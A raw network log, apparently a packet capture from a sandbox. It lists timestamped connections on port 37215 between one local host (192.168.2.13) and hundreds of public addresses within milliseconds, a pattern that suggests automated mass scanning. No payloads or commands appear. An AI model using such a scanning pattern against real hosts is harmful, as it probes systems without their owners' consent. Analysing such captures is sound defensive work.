Aug 17, 2024 01:01:53.648953915 CEST	53544	37215	192.168.2.13	156.188.180.172
Aug 17, 2024 01:01:53.648962021 CEST	44540	37215	192.168.2.13	41.241.115.118
Aug 17, 2024 01:01:53.648982048 CEST	56514	37215	192.168.2.13	156.83.15.188
Aug 17, 2024 01:01:53.648992062 CEST	44540	37215	192.168.2.13	41.241.115.118
Aug 17, 2024 01:01:53.649020910 CEST	37215	58044	41.219.194.127	192.168.2.13
Aug 17, 2024 01:01:53.649025917 CEST	37215	44714	197.156.34.51	192.168.2.13
Aug 17, 2024 01:01:53.649034023 CEST	37215	46468	197.187.146.138	192.168.2.13
Aug 17, 2024 01:01:53.649038076 CEST	37215	46980	197.187.146.138	192.168.2.13
Aug 17, 2024 01:01:53.649039984 CEST	55074	37215	192.168.2.13	197.187.239.101
Aug 17, 2024 01:01:53.649053097 CEST	58044	37215	192.168.2.13	41.219.194.127
Aug 17, 2024 01:01:53.649063110 CEST	46980	37215	192.168.2.13	197.187.146.138
Aug 17, 2024 01:01:53.649080038 CEST	44714	37215	192.168.2.13	197.156.34.51
Aug 17, 2024 01:01:53.649080038 CEST	44714	37215	192.168.2.13	197.156.34.51
Aug 17, 2024 01:01:53.649082899 CEST	37215	39374	156.136.18.233	192.168.2.13
Aug 17, 2024 01:01:53.649084091 CEST	46980	37215	192.168.2.13	197.187.146.138
Aug 17, 2024 01:01:53.649089098 CEST	37215	39886	156.136.18.233	192.168.2.13
Aug 17, 2024 01:01:53.649127007 CEST	39886	37215	192.168.2.13	156.136.18.233
Aug 17, 2024 01:01:53.649127007 CEST	39886	37215	192.168.2.13	156.136.18.233
Aug 17, 2024 01:01:53.649203062 CEST	37215	34596	156.156.53.229	192.168.2.13
Aug 17, 2024 01:01:53.649207115 CEST	37215	35108	156.156.53.229	192.168.2.13
Aug 17, 2024 01:01:53.649235010 CEST	35108	37215	192.168.2.13	156.156.53.229
Aug 17, 2024 01:01:53.649246931 CEST	35108	37215	192.168.2.13	156.156.53.229
Aug 17, 2024 01:01:53.649491072 CEST	37215	35644	41.104.120.169	192.168.2.13
Aug 17, 2024 01:01:53.649496078 CEST	37215	41930	156.98.55.240	192.168.2.13
Aug 17, 2024 01:01:53.649504900 CEST	37215	42442	156.98.55.240	192.168.2.13
Aug 17, 2024 01:01:53.649507999 CEST	37215	42496	41.237.221.78	192.168.2.13
Aug 17, 2024 01:01:53.649518013 CEST	37215	43006	41.237.221.78	192.168.2.13
Aug 17, 2024 01:01:53.649522066 CEST	37215	34616	156.253.176.241	192.168.2.13
Aug 17, 2024 01:01:53.649524927 CEST	35644	37215	192.168.2.13	41.104.120.169
Aug 17, 2024 01:01:53.649525881 CEST	37215	35126	156.253.176.241	192.168.2.13
Aug 17, 2024 01:01:53.649529934 CEST	37215	37206	156.196.137.194	192.168.2.13
Aug 17, 2024 01:01:53.649534941 CEST	42442	37215	192.168.2.13	156.98.55.240
Aug 17, 2024 01:01:53.649550915 CEST	35126	37215	192.168.2.13	156.253.176.241
Aug 17, 2024 01:01:53.649573088 CEST	43006	37215	192.168.2.13	41.237.221.78
Aug 17, 2024 01:01:53.649573088 CEST	42442	37215	192.168.2.13	156.98.55.240
Aug 17, 2024 01:01:53.649573088 CEST	43006	37215	192.168.2.13	41.237.221.78
Aug 17, 2024 01:01:53.649591923 CEST	35126	37215	192.168.2.13	156.253.176.241
Aug 17, 2024 01:01:53.649705887 CEST	37215	37716	156.196.137.194	192.168.2.13
Aug 17, 2024 01:01:53.649715900 CEST	37215	51918	197.65.34.237	192.168.2.13
Aug 17, 2024 01:01:53.649719954 CEST	37215	52428	197.65.34.237	192.168.2.13
Aug 17, 2024 01:01:53.649724007 CEST	37215	45066	197.145.197.115	192.168.2.13
Aug 17, 2024 01:01:53.649733067 CEST	37215	45576	197.145.197.115	192.168.2.13
Aug 17, 2024 01:01:53.649740934 CEST	37716	37215	192.168.2.13	156.196.137.194
Aug 17, 2024 01:01:53.649749994 CEST	52428	37215	192.168.2.13	197.65.34.237
Aug 17, 2024 01:01:53.649753094 CEST	37215	55750	41.2.37.207	192.168.2.13
Aug 17, 2024 01:01:53.649758101 CEST	37215	48700	41.181.71.84	192.168.2.13
Aug 17, 2024 01:01:53.649758101 CEST	45576	37215	192.168.2.13	197.145.197.115
Aug 17, 2024 01:01:53.649761915 CEST	37215	56272	41.2.37.207	192.168.2.13
Aug 17, 2024 01:01:53.649772882 CEST	37215	47266	156.26.192.84	192.168.2.13
Aug 17, 2024 01:01:53.649776936 CEST	37215	41752	197.214.106.46	192.168.2.13
Aug 17, 2024 01:01:53.649780989 CEST	37215	49212	41.181.71.84	192.168.2.13
Aug 17, 2024 01:01:53.649785042 CEST	37215	42264	156.151.229.121	192.168.2.13
Aug 17, 2024 01:01:53.649789095 CEST	37215	47778	156.26.192.84	192.168.2.13
Aug 17, 2024 01:01:53.649787903 CEST	56272	37215	192.168.2.13	41.2.37.207
Aug 17, 2024 01:01:53.649795055 CEST	37215	42776	156.151.229.121	192.168.2.13
Aug 17, 2024 01:01:53.649796963 CEST	52428	37215	192.168.2.13	197.65.34.237
Aug 17, 2024 01:01:53.649799109 CEST	37215	58574	156.141.157.75	192.168.2.13
Aug 17, 2024 01:01:53.649802923 CEST	37215	59086	156.141.157.75	192.168.2.13
Aug 17, 2024 01:01:53.649806023 CEST	41752	37215	192.168.2.13	197.214.106.46
Aug 17, 2024 01:01:53.649807930 CEST	37215	42998	41.247.216.11	192.168.2.13
Aug 17, 2024 01:01:53.649811029 CEST	49212	37215	192.168.2.13	41.181.71.84
Aug 17, 2024 01:01:53.649812937 CEST	37215	43510	41.247.216.11	192.168.2.13
Aug 17, 2024 01:01:53.649820089 CEST	37215	59878	197.82.181.177	192.168.2.13
Aug 17, 2024 01:01:53.649820089 CEST	47778	37215	192.168.2.13	156.26.192.84
Aug 17, 2024 01:01:53.649820089 CEST	42776	37215	192.168.2.13	156.151.229.121
Aug 17, 2024 01:01:53.649822950 CEST	59086	37215	192.168.2.13	156.141.157.75
Aug 17, 2024 01:01:53.649823904 CEST	37215	60390	197.82.181.177	192.168.2.13
Aug 17, 2024 01:01:53.649827957 CEST	37215	46898	41.129.214.78	192.168.2.13
Aug 17, 2024 01:01:53.649831057 CEST	43510	37215	192.168.2.13	41.247.216.11
Aug 17, 2024 01:01:53.649848938 CEST	45576	37215	192.168.2.13	197.145.197.115
Aug 17, 2024 01:01:53.649852037 CEST	60390	37215	192.168.2.13	197.82.181.177
Aug 17, 2024 01:01:53.649862051 CEST	37716	37215	192.168.2.13	156.196.137.194
Aug 17, 2024 01:01:53.649892092 CEST	46898	37215	192.168.2.13	41.129.214.78
Aug 17, 2024 01:01:53.649892092 CEST	49212	37215	192.168.2.13	41.181.71.84
Aug 17, 2024 01:01:53.649895906 CEST	56272	37215	192.168.2.13	41.2.37.207
Aug 17, 2024 01:01:53.649895906 CEST	47778	37215	192.168.2.13	156.26.192.84
Aug 17, 2024 01:01:53.649912119 CEST	59086	37215	192.168.2.13	156.141.157.75
Aug 17, 2024 01:01:53.649921894 CEST	43510	37215	192.168.2.13	41.247.216.11
Aug 17, 2024 01:01:53.649926901 CEST	60390	37215	192.168.2.13	197.82.181.177
Aug 17, 2024 01:01:53.650098085 CEST	42776	37215	192.168.2.13	156.151.229.121
Aug 17, 2024 01:01:53.650207996 CEST	37215	40030	197.187.201.178	192.168.2.13
Aug 17, 2024 01:01:53.650213003 CEST	37215	40542	197.187.201.178	192.168.2.13
Aug 17, 2024 01:01:53.650222063 CEST	37215	35928	41.218.4.187	192.168.2.13
Aug 17, 2024 01:01:53.650226116 CEST	37215	36440	41.218.4.187	192.168.2.13
Aug 17, 2024 01:01:53.650232077 CEST	37215	48302	197.9.203.80	192.168.2.13
Aug 17, 2024 01:01:53.650243998 CEST	40542	37215	192.168.2.13	197.187.201.178
Aug 17, 2024 01:01:53.650248051 CEST	37215	43586	41.149.129.177	192.168.2.13
Aug 17, 2024 01:01:53.650253057 CEST	37215	48752	197.9.203.80	192.168.2.13
Aug 17, 2024 01:01:53.650254965 CEST	36440	37215	192.168.2.13	41.218.4.187
Aug 17, 2024 01:01:53.650257111 CEST	37215	44036	41.149.129.177	192.168.2.13
Aug 17, 2024 01:01:53.650260925 CEST	37215	41086	197.104.206.54	192.168.2.13
Aug 17, 2024 01:01:53.650269985 CEST	37215	36174	197.226.173.69	192.168.2.13
Aug 17, 2024 01:01:53.650274992 CEST	37215	41536	197.104.206.54	192.168.2.13
Aug 17, 2024 01:01:53.650280952 CEST	40542	37215	192.168.2.13	197.187.201.178
Aug 17, 2024 01:01:53.650283098 CEST	37215	42662	41.99.223.216	192.168.2.13
Aug 17, 2024 01:01:53.650289059 CEST	37215	34584	41.242.65.160	192.168.2.13
Aug 17, 2024 01:01:53.650289059 CEST	44036	37215	192.168.2.13	41.149.129.177
Aug 17, 2024 01:01:53.650293112 CEST	37215	35034	41.242.65.160	192.168.2.13
Aug 17, 2024 01:01:53.650298119 CEST	37215	33178	197.233.184.201	192.168.2.13
Aug 17, 2024 01:01:53.650298119 CEST	36174	37215	192.168.2.13	197.226.173.69
Aug 17, 2024 01:01:53.650300980 CEST	37215	33628	197.233.184.201	192.168.2.13
Aug 17, 2024 01:01:53.650301933 CEST	41536	37215	192.168.2.13	197.104.206.54
Aug 17, 2024 01:01:53.650305986 CEST	37215	45252	197.194.165.23	192.168.2.13
Aug 17, 2024 01:01:53.650314093 CEST	42662	37215	192.168.2.13	41.99.223.216
Aug 17, 2024 01:01:53.650314093 CEST	35034	37215	192.168.2.13	41.242.65.160
Aug 17, 2024 01:01:53.650316954 CEST	37215	42212	41.99.223.216	192.168.2.13
Aug 17, 2024 01:01:53.650321960 CEST	37215	45702	197.194.165.23	192.168.2.13
Aug 17, 2024 01:01:53.650322914 CEST	36440	37215	192.168.2.13	41.218.4.187
Aug 17, 2024 01:01:53.650326967 CEST	37215	35680	197.188.165.8	192.168.2.13
Aug 17, 2024 01:01:53.650331020 CEST	33628	37215	192.168.2.13	197.233.184.201
Aug 17, 2024 01:01:53.650333881 CEST	37215	44650	41.0.50.58	192.168.2.13
Aug 17, 2024 01:01:53.650337934 CEST	37215	36130	197.188.165.8	192.168.2.13
Aug 17, 2024 01:01:53.650340080 CEST	45702	37215	192.168.2.13	197.194.165.23
Aug 17, 2024 01:01:53.650352001 CEST	37215	40360	197.43.24.47	192.168.2.13
Aug 17, 2024 01:01:53.650356054 CEST	48752	37215	192.168.2.13	197.9.203.80
Aug 17, 2024 01:01:53.650356054 CEST	48752	37215	192.168.2.13	197.9.203.80
Aug 17, 2024 01:01:53.650356054 CEST	37215	40810	197.43.24.47	192.168.2.13
Aug 17, 2024 01:01:53.650358915 CEST	44650	37215	192.168.2.13	41.0.50.58
Aug 17, 2024 01:01:53.650360107 CEST	37215	55102	156.205.38.248	192.168.2.13
Aug 17, 2024 01:01:53.650362968 CEST	44036	37215	192.168.2.13	41.149.129.177
Aug 17, 2024 01:01:53.650365114 CEST	37215	55552	156.205.38.248	192.168.2.13
Aug 17, 2024 01:01:53.650368929 CEST	37215	33028	41.148.76.76	192.168.2.13
Aug 17, 2024 01:01:53.650369883 CEST	41536	37215	192.168.2.13	197.104.206.54
Aug 17, 2024 01:01:53.650382042 CEST	37215	50626	156.154.229.161	192.168.2.13
Aug 17, 2024 01:01:53.650382996 CEST	40810	37215	192.168.2.13	197.43.24.47
Aug 17, 2024 01:01:53.650382996 CEST	55552	37215	192.168.2.13	156.205.38.248
Aug 17, 2024 01:01:53.650383949 CEST	42662	37215	192.168.2.13	41.99.223.216
Aug 17, 2024 01:01:53.650387049 CEST	37215	40312	41.189.88.13	192.168.2.13
Aug 17, 2024 01:01:53.650396109 CEST	37215	51076	156.154.229.161	192.168.2.13
Aug 17, 2024 01:01:53.650398016 CEST	35034	37215	192.168.2.13	41.242.65.160
Aug 17, 2024 01:01:53.650399923 CEST	37215	50220	156.154.205.147	192.168.2.13
Aug 17, 2024 01:01:53.650403023 CEST	33628	37215	192.168.2.13	197.233.184.201
Aug 17, 2024 01:01:53.650408030 CEST	37215	50670	156.154.205.147	192.168.2.13
Aug 17, 2024 01:01:53.650413036 CEST	37215	56044	156.235.68.1	192.168.2.13
Aug 17, 2024 01:01:53.650414944 CEST	45702	37215	192.168.2.13	197.194.165.23
Aug 17, 2024 01:01:53.650414944 CEST	40312	37215	192.168.2.13	41.189.88.13
Aug 17, 2024 01:01:53.650417089 CEST	37215	56494	156.235.68.1	192.168.2.13
Aug 17, 2024 01:01:53.650418043 CEST	51076	37215	192.168.2.13	156.154.229.161
Aug 17, 2024 01:01:53.650423050 CEST	37215	39010	41.84.49.133	192.168.2.13
Aug 17, 2024 01:01:53.650424957 CEST	36130	37215	192.168.2.13	197.188.165.8
Aug 17, 2024 01:01:53.650425911 CEST	50670	37215	192.168.2.13	156.154.205.147
Aug 17, 2024 01:01:53.650425911 CEST	37215	39460	41.84.49.133	192.168.2.13
Aug 17, 2024 01:01:53.650429964 CEST	37215	56900	156.221.79.175	192.168.2.13
Aug 17, 2024 01:01:53.650439024 CEST	37215	57350	156.221.79.175	192.168.2.13
Aug 17, 2024 01:01:53.650441885 CEST	56494	37215	192.168.2.13	156.235.68.1
Aug 17, 2024 01:01:53.650444031 CEST	37215	60494	41.134.158.160	192.168.2.13
Aug 17, 2024 01:01:53.650451899 CEST	39460	37215	192.168.2.13	41.84.49.133
Aug 17, 2024 01:01:53.650458097 CEST	40810	37215	192.168.2.13	197.43.24.47
Aug 17, 2024 01:01:53.650459051 CEST	37215	38288	41.238.114.64	192.168.2.13
Aug 17, 2024 01:01:53.650463104 CEST	57350	37215	192.168.2.13	156.221.79.175
Aug 17, 2024 01:01:53.650468111 CEST	37215	60944	41.134.158.160	192.168.2.13
Aug 17, 2024 01:01:53.650471926 CEST	37215	47148	156.132.168.255	192.168.2.13
Aug 17, 2024 01:01:53.650475979 CEST	37215	46698	156.132.168.255	192.168.2.13
Aug 17, 2024 01:01:53.650479078 CEST	51076	37215	192.168.2.13	156.154.229.161
Aug 17, 2024 01:01:53.650479078 CEST	37215	52602	156.67.161.129	192.168.2.13
Aug 17, 2024 01:01:53.650484085 CEST	50670	37215	192.168.2.13	156.154.205.147
Aug 17, 2024 01:01:53.650490046 CEST	37215	53052	156.67.161.129	192.168.2.13
Aug 17, 2024 01:01:53.650490999 CEST	38288	37215	192.168.2.13	41.238.114.64
Aug 17, 2024 01:01:53.650495052 CEST	37215	33478	41.148.76.76	192.168.2.13
Aug 17, 2024 01:01:53.650495052 CEST	55552	37215	192.168.2.13	156.205.38.248
Aug 17, 2024 01:01:53.650495052 CEST	60944	37215	192.168.2.13	41.134.158.160
Aug 17, 2024 01:01:53.650499105 CEST	37215	58688	197.128.179.66	192.168.2.13
Aug 17, 2024 01:01:53.650501013 CEST	47148	37215	192.168.2.13	156.132.168.255
Aug 17, 2024 01:01:53.650505066 CEST	37215	33724	41.60.234.90	192.168.2.13
Aug 17, 2024 01:01:53.650509119 CEST	37215	51134	41.24.136.68	192.168.2.13
Aug 17, 2024 01:01:53.650512934 CEST	37215	59256	197.109.202.160	192.168.2.13
Aug 17, 2024 01:01:53.650521994 CEST	33478	37215	192.168.2.13	41.148.76.76
Aug 17, 2024 01:01:53.650528908 CEST	36130	37215	192.168.2.13	197.188.165.8
Aug 17, 2024 01:01:53.650547981 CEST	59256	37215	192.168.2.13	197.109.202.160
Aug 17, 2024 01:01:53.650548935 CEST	56494	37215	192.168.2.13	156.235.68.1
Aug 17, 2024 01:01:53.650549889 CEST	37215	34174	41.60.234.90	192.168.2.13
Aug 17, 2024 01:01:53.650556087 CEST	39460	37215	192.168.2.13	41.84.49.133
Aug 17, 2024 01:01:53.650563002 CEST	33478	37215	192.168.2.13	41.148.76.76
Aug 17, 2024 01:01:53.650563002 CEST	37215	51584	41.24.136.68	192.168.2.13
Aug 17, 2024 01:01:53.650563955 CEST	57350	37215	192.168.2.13	156.221.79.175
Aug 17, 2024 01:01:53.650568008 CEST	37215	44772	41.66.98.205	192.168.2.13
Aug 17, 2024 01:01:53.650573015 CEST	60944	37215	192.168.2.13	41.134.158.160
Aug 17, 2024 01:01:53.650576115 CEST	34174	37215	192.168.2.13	41.60.234.90
Aug 17, 2024 01:01:53.650578022 CEST	47148	37215	192.168.2.13	156.132.168.255
Aug 17, 2024 01:01:53.650578976 CEST	37215	45222	41.66.98.205	192.168.2.13
Aug 17, 2024 01:01:53.650580883 CEST	53052	37215	192.168.2.13	156.67.161.129
Aug 17, 2024 01:01:53.650580883 CEST	53052	37215	192.168.2.13	156.67.161.129
Aug 17, 2024 01:01:53.650583982 CEST	37215	59138	197.128.179.66	192.168.2.13
Aug 17, 2024 01:01:53.650588989 CEST	51584	37215	192.168.2.13	41.24.136.68
Aug 17, 2024 01:01:53.650593996 CEST	37215	38128	41.43.248.75	192.168.2.13
Aug 17, 2024 01:01:53.650598049 CEST	37215	37540	156.223.58.70	192.168.2.13
Aug 17, 2024 01:01:53.650605917 CEST	37215	37990	156.223.58.70	192.168.2.13
Aug 17, 2024 01:01:53.650609970 CEST	37215	48274	41.180.115.246	192.168.2.13
Aug 17, 2024 01:01:53.650609970 CEST	45222	37215	192.168.2.13	41.66.98.205
Aug 17, 2024 01:01:53.650610924 CEST	59138	37215	192.168.2.13	197.128.179.66
Aug 17, 2024 01:01:53.650614023 CEST	37215	48522	197.196.210.52	192.168.2.13
Aug 17, 2024 01:01:53.650629997 CEST	37990	37215	192.168.2.13	156.223.58.70
Aug 17, 2024 01:01:53.650639057 CEST	51584	37215	192.168.2.13	41.24.136.68
Aug 17, 2024 01:01:53.650657892 CEST	59138	37215	192.168.2.13	197.128.179.66
Aug 17, 2024 01:01:53.650665045 CEST	45222	37215	192.168.2.13	41.66.98.205
Aug 17, 2024 01:01:53.650665045 CEST	37990	37215	192.168.2.13	156.223.58.70
Aug 17, 2024 01:01:53.650671959 CEST	37215	48724	41.180.115.246	192.168.2.13
Aug 17, 2024 01:01:53.650680065 CEST	37215	48972	197.196.210.52	192.168.2.13
Aug 17, 2024 01:01:53.650684118 CEST	37215	57492	156.252.3.231	192.168.2.13
Aug 17, 2024 01:01:53.650690079 CEST	34174	37215	192.168.2.13	41.60.234.90
Aug 17, 2024 01:01:53.650692940 CEST	37215	45364	197.244.251.224	192.168.2.13
Aug 17, 2024 01:01:53.650697947 CEST	37215	57942	156.252.3.231	192.168.2.13
Aug 17, 2024 01:01:53.650707006 CEST	37215	37646	197.159.67.240	192.168.2.13
Aug 17, 2024 01:01:53.650710106 CEST	37215	41952	156.251.164.202	192.168.2.13
Aug 17, 2024 01:01:53.650715113 CEST	37215	42402	156.251.164.202	192.168.2.13
Aug 17, 2024 01:01:53.650716066 CEST	48724	37215	192.168.2.13	41.180.115.246
Aug 17, 2024 01:01:53.650716066 CEST	48972	37215	192.168.2.13	197.196.210.52
Aug 17, 2024 01:01:53.650718927 CEST	37215	44914	197.244.251.224	192.168.2.13
Aug 17, 2024 01:01:53.650719881 CEST	45364	37215	192.168.2.13	197.244.251.224
Aug 17, 2024 01:01:53.650723934 CEST	37215	45208	197.171.157.27	192.168.2.13
Aug 17, 2024 01:01:53.650729895 CEST	48724	37215	192.168.2.13	41.180.115.246
Aug 17, 2024 01:01:53.650729895 CEST	57942	37215	192.168.2.13	156.252.3.231
Aug 17, 2024 01:01:53.650729895 CEST	48972	37215	192.168.2.13	197.196.210.52
Aug 17, 2024 01:01:53.650741100 CEST	42402	37215	192.168.2.13	156.251.164.202
Aug 17, 2024 01:01:53.650758028 CEST	45364	37215	192.168.2.13	197.244.251.224
Aug 17, 2024 01:01:53.650763988 CEST	42402	37215	192.168.2.13	156.251.164.202
Aug 17, 2024 01:01:53.650768995 CEST	37215	38578	41.43.248.75	192.168.2.13
Aug 17, 2024 01:01:53.650773048 CEST	37215	39046	156.1.106.214	192.168.2.13
Aug 17, 2024 01:01:53.650782108 CEST	37215	45658	197.171.157.27	192.168.2.13
Aug 17, 2024 01:01:53.650785923 CEST	37215	38096	197.159.67.240	192.168.2.13
Aug 17, 2024 01:01:53.650794983 CEST	37215	39496	156.1.106.214	192.168.2.13
Aug 17, 2024 01:01:53.650799036 CEST	37215	58422	197.196.189.181	192.168.2.13
Aug 17, 2024 01:01:53.650813103 CEST	57942	37215	192.168.2.13	156.252.3.231
Aug 17, 2024 01:01:53.650813103 CEST	38096	37215	192.168.2.13	197.159.67.240
Aug 17, 2024 01:01:53.650816917 CEST	38578	37215	192.168.2.13	41.43.248.75
Aug 17, 2024 01:01:53.650825024 CEST	39496	37215	192.168.2.13	156.1.106.214
Aug 17, 2024 01:01:53.650827885 CEST	45658	37215	192.168.2.13	197.171.157.27
Aug 17, 2024 01:01:53.650827885 CEST	38578	37215	192.168.2.13	41.43.248.75
Aug 17, 2024 01:01:53.650836945 CEST	37215	57560	41.28.105.96	192.168.2.13
Aug 17, 2024 01:01:53.650840998 CEST	37215	38320	197.209.88.112	192.168.2.13
Aug 17, 2024 01:01:53.650845051 CEST	37215	49628	156.127.33.235	192.168.2.13
Aug 17, 2024 01:01:53.650861025 CEST	57560	37215	192.168.2.13	41.28.105.96
Aug 17, 2024 01:01:53.650865078 CEST	38096	37215	192.168.2.13	197.159.67.240
Aug 17, 2024 01:01:53.650892973 CEST	37215	50078	156.127.33.235	192.168.2.13
Aug 17, 2024 01:01:53.650904894 CEST	37215	38002	41.108.222.238	192.168.2.13
Aug 17, 2024 01:01:53.650923967 CEST	50078	37215	192.168.2.13	156.127.33.235
Aug 17, 2024 01:01:53.650929928 CEST	37215	38452	41.108.222.238	192.168.2.13
Aug 17, 2024 01:01:53.650933981 CEST	50078	37215	192.168.2.13	156.127.33.235
Aug 17, 2024 01:01:53.650933981 CEST	37215	38382	197.165.75.106	192.168.2.13
Aug 17, 2024 01:01:53.650940895 CEST	39496	37215	192.168.2.13	156.1.106.214
Aug 17, 2024 01:01:53.650943995 CEST	37215	38770	197.209.88.112	192.168.2.13
Aug 17, 2024 01:01:53.650948048 CEST	37215	41376	156.32.44.193	192.168.2.13
Aug 17, 2024 01:01:53.650962114 CEST	38452	37215	192.168.2.13	41.108.222.238
Aug 17, 2024 01:01:53.650965929 CEST	38770	37215	192.168.2.13	197.209.88.112
Aug 17, 2024 01:01:53.650981903 CEST	38770	37215	192.168.2.13	197.209.88.112
Aug 17, 2024 01:01:53.650990009 CEST	38452	37215	192.168.2.13	41.108.222.238
Aug 17, 2024 01:01:53.651034117 CEST	45658	37215	192.168.2.13	197.171.157.27
Aug 17, 2024 01:01:53.651081085 CEST	37215	58872	197.196.189.181	192.168.2.13
Aug 17, 2024 01:01:53.651084900 CEST	37215	41826	156.32.44.193	192.168.2.13
Aug 17, 2024 01:01:53.651093006 CEST	37215	33638	197.69.174.97	192.168.2.13
Aug 17, 2024 01:01:53.651097059 CEST	37215	34088	197.69.174.97	192.168.2.13
Aug 17, 2024 01:01:53.651106119 CEST	37215	57456	197.238.77.22	192.168.2.13
Aug 17, 2024 01:01:53.651109934 CEST	37215	58062	156.250.143.170	192.168.2.13
Aug 17, 2024 01:01:53.651113033 CEST	58872	37215	192.168.2.13	197.196.189.181
Aug 17, 2024 01:01:53.651122093 CEST	41826	37215	192.168.2.13	156.32.44.193
Aug 17, 2024 01:01:53.651123047 CEST	34088	37215	192.168.2.13	197.69.174.97
Aug 17, 2024 01:01:53.651143074 CEST	37215	38832	197.165.75.106	192.168.2.13
Aug 17, 2024 01:01:53.651144028 CEST	58062	37215	192.168.2.13	156.250.143.170
Aug 17, 2024 01:01:53.651144028 CEST	41826	37215	192.168.2.13	156.32.44.193
Aug 17, 2024 01:01:53.651146889 CEST	37215	42098	156.64.163.206	192.168.2.13
Aug 17, 2024 01:01:53.651149035 CEST	34088	37215	192.168.2.13	197.69.174.97
Aug 17, 2024 01:01:53.651150942 CEST	37215	42548	156.64.163.206	192.168.2.13
Aug 17, 2024 01:01:53.651169062 CEST	38832	37215	192.168.2.13	197.165.75.106
Aug 17, 2024 01:01:53.651186943 CEST	42548	37215	192.168.2.13	156.64.163.206
Aug 17, 2024 01:01:53.651200056 CEST	42548	37215	192.168.2.13	156.64.163.206
Aug 17, 2024 01:01:53.651202917 CEST	58872	37215	192.168.2.13	197.196.189.181
Aug 17, 2024 01:01:53.651213884 CEST	37215	57906	197.238.77.22	192.168.2.13
Aug 17, 2024 01:01:53.651217937 CEST	37215	56614	156.152.95.241	192.168.2.13
Aug 17, 2024 01:01:53.651226997 CEST	37215	57064	156.152.95.241	192.168.2.13
Aug 17, 2024 01:01:53.651230097 CEST	37215	55714	197.25.156.24	192.168.2.13
Aug 17, 2024 01:01:53.651245117 CEST	37215	56164	197.25.156.24	192.168.2.13
Aug 17, 2024 01:01:53.651254892 CEST	38832	37215	192.168.2.13	197.165.75.106
Aug 17, 2024 01:01:53.651261091 CEST	37215	45004	197.225.201.198	192.168.2.13
Aug 17, 2024 01:01:53.651266098 CEST	37215	51290	41.146.158.211	192.168.2.13
Aug 17, 2024 01:01:53.651266098 CEST	56164	37215	192.168.2.13	197.25.156.24
Aug 17, 2024 01:01:53.651273012 CEST	57906	37215	192.168.2.13	197.238.77.22
Aug 17, 2024 01:01:53.651273012 CEST	57906	37215	192.168.2.13	197.238.77.22
Aug 17, 2024 01:01:53.651285887 CEST	57064	37215	192.168.2.13	156.152.95.241
Aug 17, 2024 01:01:53.651285887 CEST	57064	37215	192.168.2.13	156.152.95.241
Aug 17, 2024 01:01:53.651292086 CEST	56164	37215	192.168.2.13	197.25.156.24
Aug 17, 2024 01:01:53.651298046 CEST	37215	51740	41.146.158.211	192.168.2.13
Aug 17, 2024 01:01:53.651303053 CEST	37215	53810	156.238.84.194	192.168.2.13
Aug 17, 2024 01:01:53.651333094 CEST	51740	37215	192.168.2.13	41.146.158.211
Aug 17, 2024 01:01:53.651365042 CEST	37215	45454	197.225.201.198	192.168.2.13
Aug 17, 2024 01:01:53.651367903 CEST	51740	37215	192.168.2.13	41.146.158.211
Aug 17, 2024 01:01:53.651370049 CEST	37215	39546	197.95.88.187	192.168.2.13
Aug 17, 2024 01:01:53.651379108 CEST	37215	60604	156.36.217.61	192.168.2.13
Aug 17, 2024 01:01:53.651398897 CEST	45454	37215	192.168.2.13	197.225.201.198
Aug 17, 2024 01:01:53.651417017 CEST	45454	37215	192.168.2.13	197.225.201.198
Aug 17, 2024 01:01:53.651417017 CEST	60604	37215	192.168.2.13	156.36.217.61
Aug 17, 2024 01:01:53.651443958 CEST	37215	54260	156.238.84.194	192.168.2.13
Aug 17, 2024 01:01:53.651448011 CEST	37215	51132	156.169.133.126	192.168.2.13
Aug 17, 2024 01:01:53.651457071 CEST	37215	51582	156.169.133.126	192.168.2.13
Aug 17, 2024 01:01:53.651460886 CEST	37215	48496	41.103.197.121	192.168.2.13
Aug 17, 2024 01:01:53.651464939 CEST	37215	48946	41.103.197.121	192.168.2.13
Aug 17, 2024 01:01:53.651473999 CEST	37215	48362	41.68.90.111	192.168.2.13
Aug 17, 2024 01:01:53.651479959 CEST	51582	37215	192.168.2.13	156.169.133.126
Aug 17, 2024 01:01:53.651484013 CEST	54260	37215	192.168.2.13	156.238.84.194
Aug 17, 2024 01:01:53.651492119 CEST	48946	37215	192.168.2.13	41.103.197.121
Aug 17, 2024 01:01:53.651515007 CEST	48946	37215	192.168.2.13	41.103.197.121
Aug 17, 2024 01:01:53.651559114 CEST	37215	48974	41.68.90.111	192.168.2.13
Aug 17, 2024 01:01:53.651572943 CEST	37215	39996	197.95.88.187	192.168.2.13
Aug 17, 2024 01:01:53.651576996 CEST	37215	40378	156.56.23.17	192.168.2.13
Aug 17, 2024 01:01:53.651586056 CEST	37215	40990	156.56.23.17	192.168.2.13
Aug 17, 2024 01:01:53.651590109 CEST	37215	57196	41.197.91.229	192.168.2.13
Aug 17, 2024 01:01:53.651592016 CEST	51582	37215	192.168.2.13	156.169.133.126
Aug 17, 2024 01:01:53.651592970 CEST	48974	37215	192.168.2.13	41.68.90.111
Aug 17, 2024 01:01:53.651595116 CEST	54260	37215	192.168.2.13	156.238.84.194
Aug 17, 2024 01:01:53.651602030 CEST	39996	37215	192.168.2.13	197.95.88.187
Aug 17, 2024 01:01:53.651602983 CEST	48974	37215	192.168.2.13	41.68.90.111
Aug 17, 2024 01:01:53.651612043 CEST	40990	37215	192.168.2.13	156.56.23.17
Aug 17, 2024 01:01:53.651612043 CEST	39996	37215	192.168.2.13	197.95.88.187
Aug 17, 2024 01:01:53.651643038 CEST	40990	37215	192.168.2.13	156.56.23.17
Aug 17, 2024 01:01:53.651781082 CEST	37215	57808	41.197.91.229	192.168.2.13
Aug 17, 2024 01:01:53.651786089 CEST	37215	60206	156.226.180.139	192.168.2.13
Aug 17, 2024 01:01:53.651802063 CEST	37215	60796	156.37.223.11	192.168.2.13
Aug 17, 2024 01:01:53.651815891 CEST	57808	37215	192.168.2.13	41.197.91.229
Aug 17, 2024 01:01:53.651819944 CEST	37215	38090	41.114.6.13	192.168.2.13
Aug 17, 2024 01:01:53.651824951 CEST	37215	60818	156.226.180.139	192.168.2.13
Aug 17, 2024 01:01:53.651827097 CEST	57808	37215	192.168.2.13	41.197.91.229
Aug 17, 2024 01:01:53.651829004 CEST	37215	45452	156.125.252.168	192.168.2.13
Aug 17, 2024 01:01:53.651834011 CEST	37215	46064	156.125.252.168	192.168.2.13
Aug 17, 2024 01:01:53.651839018 CEST	37215	39510	156.239.31.113	192.168.2.13
Aug 17, 2024 01:01:53.651846886 CEST	37215	40122	156.239.31.113	192.168.2.13
Aug 17, 2024 01:01:53.651850939 CEST	37215	52588	156.153.21.213	192.168.2.13
Aug 17, 2024 01:01:53.651851892 CEST	60818	37215	192.168.2.13	156.226.180.139
